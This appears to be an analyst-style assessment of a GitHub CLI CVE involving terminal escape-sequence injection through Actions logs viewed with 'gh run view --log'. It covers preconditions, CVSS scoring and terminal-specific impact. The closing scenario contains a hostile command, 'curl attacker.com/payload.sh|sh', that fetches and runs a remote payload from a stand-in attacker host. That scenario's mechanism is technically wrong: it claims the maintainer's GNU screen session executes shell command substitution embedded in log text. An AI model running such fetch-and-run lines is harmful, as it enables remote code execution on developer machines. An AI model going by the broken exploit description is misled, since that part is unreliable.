GitHub CLI CVE-2026-45803

Attacker must possess authenticated GitHub account with pull request creation rights to target repository (public repos accept external PRs, private repos require collaborator access). Exploitation requires victim to execute 'gh run view --log' or 'gh run view --log-failed' commands against a workflow run containing attacker-controlled log output. The victim's terminal emulator must interpret injected escape sequences - modern hardened terminals limit impact to cosmetic changes, while GNU screen, tmux with passthrough enabled, or legacy xterm configurations with allowWindowOps permit command execution. Attack succeeds against default GitHub CLI configurations in versions 1.6.0-2.91.x without requiring non-standard settings. Limiting factors: victim must manually inspect logs (no automatic trigger), attacker cannot force which runs victim examines, and many modern terminals (iTerm2 post-2016, GNOME Terminal 3.x+, Windows Terminal) block command execution sequences by default, reducing impact to window title/content manipulation only.

The CVSS vector AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N yields a base score of 3.5, indicating network-exploitable but requiring authenticated attacker (PR:L suggests repository contributor access) and victim interaction (UI:R - user must actively view logs). Real-world risk assessment reveals significant nuance: attack complexity is genuinely low once attacker has PR creation rights, as workflow log injection is trivial via echo commands in .github/workflows files. However, the integrity impact (I:L) substantially understates potential consequences in environments using vulnerable terminal emulators. Modern terminals like iTerm2, GNOME Terminal, and Windows Terminal implement escape sequence filtering that limits impact to cosmetic changes (window titles, colors). Legacy multiplexers like GNU screen and older xterm configurations may permit command execution through DCS passthrough, elevating real risk for users of those platforms. No EPSS data provided, and absence from CISA KEV suggests no widespread exploitation campaigns. The requirement for victim to manually inspect logs creates a targeting bottleneck - attackers cannot force execution. GitHub's advisory (GHSA-crc3-h8v6-qh57) provides authoritative confirmation but no POC is referenced. Priority should be moderate for organizations using GitHub CLI in CI/CD pipelines or where developers routinely inspect Actions logs, elevated to high only for confirmed GNU screen users. Key uncertainty: distribution of vulnerable versus hardened terminal emulators in target environments directly determines exploitability gap between CVSS 3.5 theoretical score and practical impact.

An external contributor forks a public repository and submits a pull request containing a malicious GitHub Actions workflow that executes 'echo -e "\033]0;Malicious Title\007\033[2J\033[H$(curl attacker.com/payload.sh|sh)"' in a workflow step. When the repository maintainer runs 'gh run view --log' to inspect the PR's CI results, their terminal interprets the embedded escape sequences: the OSC sequence changes their window title to 'Malicious Title', CSI codes clear the screen, and if using GNU screen the command substitution executes a remote payload script with the maintainer's shell privileges. The attacker gains code execution in the maintainer's development environment without requiring direct repository access.